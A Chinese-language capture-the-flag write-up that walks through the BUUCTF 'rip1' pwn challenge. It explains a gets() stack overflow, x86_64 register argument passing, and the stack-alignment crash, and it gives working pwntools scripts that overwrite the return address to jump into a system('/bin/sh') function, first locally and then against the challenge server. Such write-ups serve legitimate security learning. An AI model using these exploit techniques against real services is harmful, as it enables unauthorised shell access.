全面理解BUUCTF-rip1
BUUCTF-rip1
一、题目来源
题目来自BUUCTF-Pwn-rip1:
二、准备工作
你需要有:
1、一台Linux主机/虚拟机(我这使用的是Ubuntu)
2、一个反编译工具(ida、Cutter等)
3、Linux主机/虚拟机中需要有python环境(推荐python3)、需要下载python库(pwntools)、需要有checksec工具(非必须)
如果你已经满足了上述要求,接下来就可以开始优雅地分析题目了
三、文件分析
下载题目给的二进制文件pwn1,丢到Ubuntu中
通过file指令查看文件的信息:
发现他是一个ELF文件(Linux系统中的一个二进制文件)并且是64位的
通过checksec命令查看该文件有没有做什么保护:
查看防护是为了判断后面是否可以有利用思路的,所以建议有这一个步骤
四、反编译文件并分析代码
通过反编译工具(选则64位的(如果可以选的化,如果用的是cutter那么64和32都是共用的),因为我们分析出来是64位的文件),反编译题目文件
操作手法就是,将文件丢到工具里面
我们查看main函数,我把main函数的汇编代码放下面:
.text:0000000000401142 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401142 public main
.text:0000000000401142 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000401142
.text:0000000000401142 s = byte ptr -0Fh
.text:0000000000401142
.text:0000000000401142 ; __unwind {
.text:0000000000401142 push rbp
.text:0000000000401143 mov rbp, rsp
.text:0000000000401146 sub rsp, 10h
.text:000000000040114A lea rdi, s ; "please input"
.text:0000000000401151 call _puts
.text:0000000000401156 lea rax, [rbp+s]
.text:000000000040115A mov rdi, rax
.text:000000000040115D mov eax, 0
.text:0000000000401162 call _gets
.text:0000000000401167 lea rax, [rbp+s]
.text:000000000040116B mov rdi, rax ; s
.text:000000000040116E call _puts
.text:0000000000401173 lea rdi, aOkBye ; "ok,bye!!!"
.text:000000000040117A call _puts
.text:000000000040117F mov eax, 0
.text:0000000000401184 leave
.text:0000000000401185 retn
.text:0000000000401185 ; } // starts at 401142
.text:0000000000401185 main endp
一眼就可以看到gets这个危险函数,那么gets为什么危险呢?
因为get不会限制用户的输入长度,就有可能出现缓冲区溢出的情况
缓冲区溢出是指:程序向内存中已经分配好大小的缓冲区(如数组、字符串)中写入了超出其边界的数据,导致覆盖了临近的内存区域,进而引发程序崩溃或被攻击者控制
结合之前我们检查的保护措施:
Stack: No canary found
也就是说明没有启用栈保护,那么我们就可以使用栈溢出的思路
那么很明显,我们就需要知道gets函数的参数,即用户输入,会放在内存的哪个位置
在x86_64的计算机中,函数获得参数的方式是通过寄存器传参
在x86_32位的计算机中,是通过“压栈”传参的
即,当一个函数需要传入一个参数,那么在调用这个函数之前会进行“压栈”操作(压入的内容就是要传给该函数的参数)
同样,如果一个函数需要两个参数,就会进行两次“压栈”操作
在x86_64位的计算机中,是通过寄存器传参的
规则如下:
参数顺序 使用的寄存器 第一个参数 rdi
第二个参数 rsi
第三个参数 rdx
第四个参数 rcx
第五个参数 r8
第六个参数 r9
也就是说,如果一个函数需要输入一个参数,那么在调用该函数之前会对rdi寄存器进行赋值,然后在调用到该函数的时候就会去rdi中取值
同样,如果一个函数需要两个参数,那么在调用该函数之前就会对rdi和rsi进行赋值
在汇编代码中相关的部分就是:
.text:0000000000401142 s = byte ptr -0Fh
.text:0000000000401156 lea rax, [rbp+s]
.text:000000000040115A mov rdi, rax
.text:000000000040115D mov eax, 0
.text:0000000000401162 call _gets
gets由于就一个参数,就会从rdi寄存器中取值,而rdi的值又来自于[rbp+s],这就是接受用户输入的地方
位置就是rbp-0xF,即rbp-15B
画出此时栈的大致情况:
写信息是从低地址向高地址写入的,我们最终需要将数据溢出到“返回地址”的地方,并且覆盖返回地址的部分是“有目的性的”
通过观察反编译出来的信息,我们还可以找到一个函数fun,其汇编代码如下:
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; "/bin/sh"
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun endp
很明显,这里就是getshell的地方,因为用到了函数system
这段代码对应的c语言代码就是:
system("/bin/sh");
简单来说就是如果我们调用到了fun函数,就会返回给我们服务器的shell
那么确定了,我们要将“返回地址”覆盖成:0x0000000000401186(可以简写成0x401186)
五、构造Poc
1、尝试
根据上述分析,我们的payload就是:
payload = b'A'*23 + p64(0x401186)
#23 = 7 + 8 + 8
构造poc(现在本地尝试)(记得先把pwn1加上可执行的权限:sudo chmod +x pwn1):
from pwn import *
# 启动本地程序(选中题目发你的可执行文件)(记得先给该文件一个可执行权限)
p = process('./pwn1')
# 接收提示(启动本地程序后,可能该程序会有些提示信息,将他们输出)
print(p.recvline())
# 构造payload
payload = b'A'*23 + p64(0x401186)
p.sendline(payload)
# 进入交互模式(像nc一样交互)
p.interactive()
运行:
2、问题出现
出现SIGSEGV,表示程序访问了非法地址,例如:
① 地址不存在(空指针/越界)
② 地址存在但无访问权限(如栈溢出访问代码段)
③ 对齐要求未满足,导致指令访问异常
通过我们之前的分析:栈无保护+访问地址分析正确
就可以说明,出现了“栈对齐”的问题
概念:
栈对齐是指在函数调用或执行期间,保持栈顶(
RSP
寄存器)满足特定字节对齐要求的一种约定现代处理器(尤其是x86_64架构)在访问内存时,如果内存地址是16字节对齐(即地址能被16整除),会提升
性能;而且 某些指令(如SSE、AVX)对对齐是强制要求,否则会触发段错误(
SIGSEGV
)对齐规则(以x86_64为例)
根据System V AMD64 ABI(一种规范)规定:
不要求在函数执行期间始终保持
RSP % 16 == 0
但是在“函数入口处”栈顶必须是16字节对齐的(
RSP % 16 == 0
)换言之,在调用(call)函数之前,需要先调整到
RSP % 16 == 8
的状态啥是函数入口(汇编代码的角度)?
就是第一条执行所在的地址(还未执行第一条指令)
先来简单回顾一下函数调用的过程(汇编代码的角度):
调用者会用CALL指令调用被调函数
这一步CPU会自动将“返回地址”压入栈中
然后被调函数在正式开始执行之前会进行保存调用者的“上下文”和“初始化栈帧”的操作
好,结合上述过程描述,我们来理解一下栈对齐规则
根据ABI的规定,调用者在调用函数之前需要满足
RSP % 16 == 8
如果调用者开始调用函数了,即使用call指令
那么,此时CPU会自动压入“返回地址”,RSP也就相应的减去了8字节(因为在64位的计算机)
那么此时满足
RSP % 16 == 0
此时就满足了:
函数入口处,栈顶必须是16字节对齐的(
RSP % 16 == 0
)没有对齐,会怎样?
首先,上面也讲到了,“栈对齐”只是一种规定,是为了兼容、稳定和性能设计的标准
所以,你如果没有遵守,程序也不一定会出现问题
但是,程序一旦满足以下任意情况,未对齐就会报错或崩溃:
情况 原因 结果 使用movaps、movdqa 等SSE指令 这些指令要求内存地址必须16字节对齐,否则CPU报错 程序触发SIGSEGV崩溃 glibc内部函数有对栈对齐的assert检查 glibc某些函数运行前会检查RSP%16==0,不满足就触发断言 程序触发abort()强制退出 编译器开启对齐优化(如-O2 或以上) 编译器可能默认结构体/栈局部变量需要16字节对齐,未对齐时行为不确定 程序出现未定义行为(UB),可能崩溃 上面都是在64位系统的前提下的,那么32位系统(x86)呢?
会有栈对齐的情况,但没有强制要求(没有像ABI一样的规定)
在32位系统中,一般保持4字节对齐,但只是是“推荐”,不是必须,绝大多数情况下即使未对齐也不会崩溃
但是也有特殊情况,比如:
如果编译开启了
-msse
,比如用到了__m128
、movaps
,那就会要求16字节对齐如果你不手动对齐
ESP
,用movaps
等就可能崩溃(虽然是32 位)
3、问题解决
我们在知道“栈对齐”的概念之后,就可以想到对应的解决办法
刚刚的poc导致程序崩溃,很可能的原因就是:
当我们覆盖“返回地址”使之跳转到fun之前,main的栈帧中RSP处于RSP%16==8
的状态
那么,由于不是通过call来调用函数的,就不会存在“CPU”自动压入返回地址的操作
这也就意味着,函数入口处,RSP%16==8
,就违反了规定
但在笔记中我们也提到,规定只是规定而已不是强制要求啊
但是请注意,在仔细观察一下fun函数:
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; "/bin/sh"
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun endp
其中有个调用_system函数对吧,我们跟进查看(双击)就可以看到:
.plt:0000000000401040 ; int system(const char *command)
.plt:0000000000401040 _system proc near ; CODE XREF: fun+B↓p
.plt:0000000000401040 jmp cs:off_404020
.plt:0000000000401040 _system endp
经验丰富的人,可以看出这个程序采用的是动态链接,为什么?
一步步解析:
首先是.plt段
它是动态链接的跳板表,它不包含真正的函数实现,而是一个“跳转中介”
那么链接的函数很明显就是system()
接下来根据跳转的目的地址off_404020,就可以去查看对应的地址:
.got.plt:0000000000404020 off_404020 dq offset system ; DATA XREF: _system↑r
先理解.got.plt是什么:
.got.plt是存放每个外部动态链接函数地址的表格
那么此时的完整过程就是
在初次调用的system的时候,由于.got.plt中没有该函数,会动态链接libc,从中将system的真实地址填入其中
所以system的具体实现细节我们在反编译出来的代码中是看不到的
这也就意味着,system中可能存在强制要求“栈对齐”的函数,导致了程序崩溃
那么不违反规定的方法就是:直接进入函数的第二行命令
我们就利用了“栈对齐”只是检查函数的入口,对函数执行的部分是不强制要求的
所以将我们的payload改成:
payload = b'A'*23 + p64(0x401186+1)
4、最后的Poc
本地测试:
from pwn import *
# 启动本地程序(选中题目发你的可执行文件)(记得先给该文件一个可执行权限)
p = process('./pwn1')
# 接收提示(启动本地程序后,可能该程序会有些提示信息,将他们输出)
print(p.recvline())
# 构造payload
payload = b'A'*23 + p64(0x401186+1)
p.sendline(payload)# 进入交互模式(像nc一样交互)
p.interactive()
成功拿下本地shell
那么我们就可以去远程利用了
开启靶机:
远程Poc:
from pwn import *
# 访问远程服务器上运行的某个程序
p = remote('node5.buuoj.cn', 29750)
# 构造payload
payload = b'A'*23 + p64(0x401186+1)
p.sendline(payload)
# 进入交互模式(像nc一样交互)
p.interactive()
运行:
成功拿下对方shell,接下来查看flag文件就可以看到答案了